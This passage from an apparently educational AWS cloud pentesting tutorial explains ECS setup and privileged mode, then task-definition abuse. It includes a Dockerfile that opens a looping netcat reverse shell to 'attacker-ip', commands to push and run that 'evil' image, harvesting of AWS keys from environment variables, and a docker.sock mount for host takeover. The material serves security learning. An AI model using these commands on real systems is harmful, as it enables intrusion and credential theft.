(&lt;code&gt;--privileged&lt;/code&gt;), mount &lt;code&gt;/&lt;/code&gt;, and access the ECS host&lt;/p&gt;&#10;&lt;h5 id="environment-setup"&gt;&lt;a href="#environment-setup" class="header-anchor"&gt;&lt;/a&gt;Environment Setup&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;I originally copied and pasted all the steps so you could simply follow them one by one, but it wasn&amp;rsquo;t actually that easy. I got stuck here for an entire day and spent that day learning how ECS works. Its architecture is seriously impressive, so it took me quite a while to learn. That&amp;rsquo;s exactly why I deleted the original written steps and used images to show the environment setup instead. If you&amp;rsquo;re interested in this service, you can go through every step I took and learn how it works. This isn&amp;rsquo;t a basic concept, and once you&amp;rsquo;ve learned the steps below, you&amp;rsquo;ll pretty much know how to use it.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Just click Create. The next step is the task definition. Once the setup is complete, I&amp;rsquo;ll explain how these pieces connect to one another and what the architecture looks like.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Just click Create. Next, enable privileged mode (there is no option for privileged mode, so you can only edit the json).&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep,infinity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Just click Create. A single wrong step can cause it to fail. Pay particular attention to adding the comma in the command field—I was stuck on this for quite a while too.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Now that we&amp;rsquo;ve reached this point, let me first explain the overall process. When creating the cluster, select the free EC2 option, open port 22 in the security group, and set the minimum value to 1. This way, an EC2 instance will be created automatically when you finish creating the cluster. What happens if the minimum is still left at the default value of 0? You either have to create an EC2 instance yourself and add it to ECS, or every time you start a task like the one above, it will create an EC2 instance by itself and run the task. You can see how troublesome it would be to start another EC2 instance as the physical machine for docker when the minimum value is 0. That finishes the cluster. Now let&amp;rsquo;s look at what a task definition actually is. A task definition mainly describes what you want to run. You define things like: How many resources does it need? What image does it need? What services should be mapped? Can it interact with AWSAPI? All of that can be defined here. In other words, this defines the kind of docker service you want to run. The cluster is essentially a collection of docker instances, and here we&amp;rsquo;ve just defined one type of docker. Next, we need to deploy that docker to the cluster. This is the final task deployment step: we deploy the task we just defined to the EC2 instance in the cluster we created, and we also override its command. Why do we override the command with sleep infinity?&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Let me use a separate paragraph to explain the definitions of tasks and services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A task simply ends once it has finished running. For example, scheduled jobs, machine learning training jobs, and other one-off tasks are done as soon as they finish running; they don&amp;rsquo;t need to keep running. When you want to run a long-lived service such as nginx, you need to create a service. That&amp;rsquo;s the basic idea. This is also why we write sleep infinity: it keeps the task alive; otherwise, it shuts down immediately after it finishes. You can try leaving out sleep infinity. After submitting the task, you&amp;rsquo;ll immediately see a message in the cluster saying that the task has ended. The two are not fundamentally all that different, and it isn&amp;rsquo;t really a matter of one being more convenient than the other. Tasks are simply better for understanding the basic concepts because the logic is very clear. I won&amp;rsquo;t set up a service later on either.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Overall, this is still very complicated and may be quite hard to understand. Try setting up the whole thing yourself once, and it should start to make sense.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="reproduction-and-verification-4"&gt;&lt;a href="#reproduction-and-verification-4" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h5&gt;&lt;p&gt;Use SSH to log in to the EC2 instance we just created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The agent comes preinstalled. The one above it is the docker task we created. (If you don&amp;rsquo;t use the automatic method to create a physical machine for docker and configure it yourself instead, you&amp;rsquo;ll need to install this agent.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because of the configuration we just made, this is already running in privileged mode.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s as far as we&amp;rsquo;ll go here. Everything after this is the classic docker privileged-mode escape. If you&amp;rsquo;re interested, you can find the answer everywhere on Baidu or google. One thing worth noting is that amazonlinux started as a task generally lacks many things because it is so small. Starting it as a service actually gives you a little more. Because of this, some commands used for a privileged-mode escape from a task may not exist. At this point, this is really just a standard docker vulnerability, and this is how it works. ECS is simply a tool similar to K8S for managing docker, nothing more.&lt;/p&gt;&#10;&lt;h5 id="additional-notes-4"&gt;&lt;a href="#additional-notes-4" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h5&gt;&lt;p&gt;After reading this far, you might feel that we spent all this time setting up ECS only to end up reproducing a vulnerability in docker itself, so why bother with the setup when it is both mentally exhausting and time-consuming? But that isn&amp;rsquo;t the case. While setting up the environment, we learned how to set up ECS, studied its basic concepts, and understood its architecture. Cloud security isn&amp;rsquo;t only about attacks; it also includes defense. Many people say you need to understand attacks before you know how to defend against them, but first you have to understand the underlying logic. Take SQL injection, for example. Once you know how injection works, you know how to defend against it. Say you&amp;rsquo;re given a WAF and asked to block SQL injection. You write a rule that filters out every &amp;lsquo;&lt;code&gt;)&lt;/code&gt; at the interface that interacts with the backend database. The attacker discovers that the rule seems to filter &amp;lsquo;&lt;code&gt;)&lt;/code&gt;, then bypasses it with URL encoding and can still run queries using union, select, sleep, substr, and so on. Once you notice that, you start frantically adding regexes and rules to block those statements, while the attacker keeps trying to bypass them. But did you notice? The underlying principle is still transformed SQL statements and encoding-based bypasses. Only when you truly understand the principles and logic behind SQL injection, and understand how attackers and defenders improve and iterate, can you see the core of offense and defense. Neither side ever escapes the original concepts. This is exactly why you should personally set up ECS once to understand its concepts and architecture. Cloud security always combines offense and defense.&lt;/p&gt;&#10;&lt;h4 id="abusing-ecs-task-definitions"&gt;&lt;a href="#abusing-ecs-task-definitions" class="header-anchor"&gt;&lt;/a&gt;Abusing ECS Task Definitions&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;1. Exploit ECS task-definition misconfigurations to execute malicious commands or steal credentials&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Exploit ECS task-definition errors to gain access to the ECS host&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Mount the host&amp;rsquo;s Docker API through an ECS task definition to access other containers&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;I won&amp;rsquo;t set up environments for these three methods. The explanations should be clear enough, and they&amp;rsquo;re all fairly simple overall.&lt;/p&gt;&#10;&lt;h5 id="1-deploying-a-malicious-image"&gt;&lt;a href="#1-deploying-a-malicious-image" class="header-anchor"&gt;&lt;/a&gt;1. Deploying a Malicious Image&#10;&lt;/h5&gt;&lt;p&gt;ECS lets users create their own &lt;strong&gt;task definitions (Task Definition)&lt;/strong&gt; and then pull and run images from &lt;strong&gt;ECR (Elastic Container Registry)&lt;/strong&gt; or &lt;strong&gt;Docker Hub&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;If an attacker can &lt;strong&gt;create or modify an ECS task definition&lt;/strong&gt;, they can &lt;strong&gt;deploy a backdoored malicious image&lt;/strong&gt;, for example:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with a built-in reverse Shell&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with built-in AWS access keys&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with a built-in scheduled task that periodically uploads sensitive data&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The attacker uploads a malicious image&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Build an image containing a reverse Shell:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FROM ubuntu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RUN apt update &amp;amp;&amp;amp; apt install -y netcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CMD /bin/bash -c &amp;#34;while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Push it to your own ECR&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker build -t my-malicious-image .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecr create-repository --repository-name evil-repo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker tag my-malicious-image &amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker push &amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Modify the ECS task definition&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;Change the &lt;code&gt;image&lt;/code&gt; in the task definition to the malicious image:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerDefinitions&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;evil-container&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;image&amp;#34;: &amp;#34;&amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;cpu&amp;#34;: 512,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;memory&amp;#34;: 512,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;essential&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Register the ECS task definition and run the task&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs register-task-definition --cli-input-json file://evil-task.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecs run-task --cluster my-cluster --task-definition evil-task&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;The attacker remotely controls the ECS task&lt;/li&gt;&#10;&lt;li&gt;Once the ECS task starts, it automatically opens a reverse Shell:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 4444&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;The attacker gains control of the ECS container and can continue attacking the ECS host or AWS resources&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Let&amp;rsquo;s talk about why the target would end up using our image. There are three main methods that can be combined: supply-chain attacks (tampering with a vendor image), image-name confusion attacks, and AWS ECS task-definition errors. These methods are pretty easy to understand, and there&amp;rsquo;s plenty about them online if you search.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="2-adding-credentials-as-environment-variables-in-a-task-definition"&gt;&lt;a href="#2-adding-credentials-as-environment-variables-in-a-task-definition" class="header-anchor"&gt;&lt;/a&gt;2. Adding Credentials as Environment Variables in a Task Definition&#10;&lt;/h5&gt;&lt;p&gt;ECS allows &lt;strong&gt;environment variables&lt;/strong&gt; in task definitions. If an administrator accidentally &lt;strong&gt;hardcodes AWS keys&lt;/strong&gt; in those environment variables, an attacker can obtain them.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;View the current task&amp;rsquo;s environment variables&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;env&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;If it returns:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWS_ACCESS_KEY_ID=AKIAXXXX&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWS_SECRET_ACCESS_KEY=XXXXXX&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This means the ECS task has &lt;strong&gt;stored the AWS keys in environment variables&lt;/strong&gt;, and an attacker can use them directly.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h5 id="3-mounting-varrundockersock-to-access-the-host"&gt;&lt;a href="#3-mounting-varrundockersock-to-access-the-host" class="header-anchor"&gt;&lt;/a&gt;3. Mounting &lt;code&gt;/var/run/docker.sock&lt;/code&gt; to Access the Host&#10;&lt;/h5&gt;&lt;p&gt;An ECS task can mount the host&amp;rsquo;s &lt;code&gt;docker.sock&lt;/code&gt;. If an administrator misconfigures it, an attacker can &lt;strong&gt;directly control Docker on the host&lt;/strong&gt; and escape to the ECS host.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Mount&lt;/strong&gt; &lt;code&gt;docker.sock&lt;/code&gt; &lt;strong&gt;in the ECS task definition&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerDefinitions&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;privileged-container&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;image&amp;#34;: &amp;#34;ubuntu&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;mountPoints&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;sourceVolume&amp;#34;: &amp;#34;docker-sock&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerPath&amp;#34;: &amp;#34;/var/run/docker.sock&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;volumes&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;docker-sock&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;host&amp;#34;: {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;sourcePath&amp;#34;: &amp;#34;/var/run/docker.sock&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Once the ECS task is running, the attacker can directly control Docker from inside the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Enter the container&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker exec -it ecs-privileged-container /bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Use&lt;/strong&gt; &lt;code&gt;docker.sock&lt;/code&gt; &lt;strong&gt;to control the ECS host&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div 